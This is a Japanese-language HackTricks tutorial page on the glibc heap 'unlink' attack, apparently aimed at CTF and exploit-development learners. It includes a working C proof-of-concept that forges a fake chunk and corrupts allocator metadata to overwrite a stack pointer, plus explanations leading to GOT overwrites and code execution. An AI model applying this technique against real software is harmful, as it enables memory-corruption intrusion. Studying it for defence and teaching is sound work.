Unlink Attack

Reading time: 11 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

この攻撃が発見されたとき、主にWWW(Write What Where)を可能にしましたが、いくつかのチェックが追加され、攻撃の新しいバージョンはより興味深く、より複雑で、無意味になりました。

コード例:

コード
c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work

struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10];               // padding
};

int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];

// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);

// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header

// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000;  // chunk1's data region size
chunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit

// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);

chunk1[3] = (unsigned long long)data;

strcpy(data, "Victim's data");

// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;

printf("%s\n", data);

return 0;
}

  • この攻撃は、tcachesが使用されている場合(2.26以降)には機能しません。

目標

この攻撃は、チャンクへのポインタを自分自身の3つのアドレス前を指すように変更することを可能にします。この新しい位置(ポインタがあった場所の周囲)に、他の制御可能なアロケーションやスタックなどの興味深いものがある場合、それらを読み取ったり上書きしたりして、より大きな被害を引き起こすことが可能です。

  • このポインタがスタックにあった場合、現在は自分自身の3つのアドレス前を指しているため、ユーザーがそれを読み取ったり変更したりできる可能性があるため、スタックから機密情報を漏洩させたり、リターンアドレスを(おそらく)変更したりすることが可能になります。カナリアに触れずに。
  • CTFの例では、このポインタは他のアロケーションへのポインタの配列にあり、したがって、3つのアドレス前を指すようにし、それを読み書きできるようにすることで、他のポインタを他のアドレスを指すようにすることが可能です。
    ユーザーが他のアロケーションも読み書きできる可能性があるため、情報を漏洩させたり、任意の場所に新しいアドレスを上書きしたりすることができます(GOTのように)。

要件

  • メモリ(例:スタック)内でいくつかの制御を行い、いくつかの属性に値を与えるチャンクを作成すること。
  • フェイクチャンクのポインタを設定するためのスタックリーク。

攻撃

  • いくつかのチャンク(chunk1とchunk2)が存在します。
  • 攻撃者はchunk1の内容とchunk2のヘッダーを制御します。
  • chunk1で攻撃者はフェイクチャンクの構造を作成します:
  • 保護を回避するために、sizeフィールドが正しいことを確認して、エラーを回避します:corrupted size vs. prev_size while consolidating
  • フェイクチャンクのfdbkフィールドは、chunk1ポインタが格納されている場所をそれぞれ-3および-2のオフセットで指すように設定されているため、fake_chunk->fd->bkfake_chunk->bk->fdは、メモリ(スタック)内の実際のchunk1アドレスが格納されている位置を指します:

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

  • chunk2のヘッダーは、前のチャンクが使用されていないことと、サイズが含まれているフェイクチャンクのサイズであることを示すように変更されます。
  • 2番目のチャンクが解放されると、このフェイクチャンクがアンリンクされ、次のようになります:
  • fake_chunk->fd->bk = fake_chunk->bk
  • fake_chunk->bk->fd = fake_chunk->fd
  • 以前に、fake_chunk->fd->bkfake_chunk->bk->fdが同じ場所(chunk1が格納されていたスタック内の位置)を指すように設定されていたため、これは有効なリンクリストでした。両方が同じ位置を指しているため、最後のもの(fake_chunk->bk->fd = fake_chunk->fd)だけが効果を持ちます。
  • これにより、スタック内のchunk1へのポインタが、スタック内の3つのアドレス前に格納されているアドレス(またはバイト)に上書きされます
  • したがって、攻撃者が再びchunk1の内容を制御できる場合、スタック内に書き込むことができ、カナリアをスキップしてリターンアドレスを上書きし、ローカル変数の値やポインタを変更することが可能になります。攻撃者が再びchunk1のアドレスをスタック内の異なる位置に変更できる場合、再びchunk1の内容を制御できれば、どこにでも書き込むことができるようになります。
  • これは、アドレスがスタックに格納されているため可能でした。リスクと悪用は、フェイクチャンクへのアドレスがどこに格納されているかに依存する可能性があります。

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

参考文献

  • https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit
  • CTFでunlink攻撃を見つけるのは奇妙ですが、ここにはこの攻撃が使用されたいくつかのワriteupがあります:
  • CTFの例:https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html
  • この例では、スタックの代わりにmallocされたアドレスの配列があります。unlink攻撃は、ここにチャンクを割り当てることができるように行われ、mallocされたアドレスの配列のポインタを制御できるようになります。次に、これらのアドレス内のチャンクの内容を変更する機能があり、アドレスをGOTに指し、関数アドレスを変更してリークとRCEを取得します。
  • 別のCTFの例:https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html
  • 前の例と同様に、アロケーションのアドレスの配列があります。unlink攻撃を実行して、最初のアロケーションへのアドレスを配列の開始前のいくつかの位置に指すようにし、新しい位置でこのアロケーションを上書きすることが可能です。したがって、他のアロケーションのポインタを上書きして、atoiのGOTを指し、libcリークを取得するためにそれを印刷し、次にatoiのGOTをワンガジェットのアドレスで上書きすることが可能です。
  • unlink攻撃に非常に似た脆弱性を悪用するカスタムmallocおよびfree関数を使用したCTFの例:https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html
  • FDおよびBKポインタを制御することを可能にするオーバーフローがあります。さらに、ヒープにはexecビットがあるため、ヒープアドレスを漏洩させ、GOTから関数をヒープチャンクにポイントしてシェルコードを実行することが可能です。

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする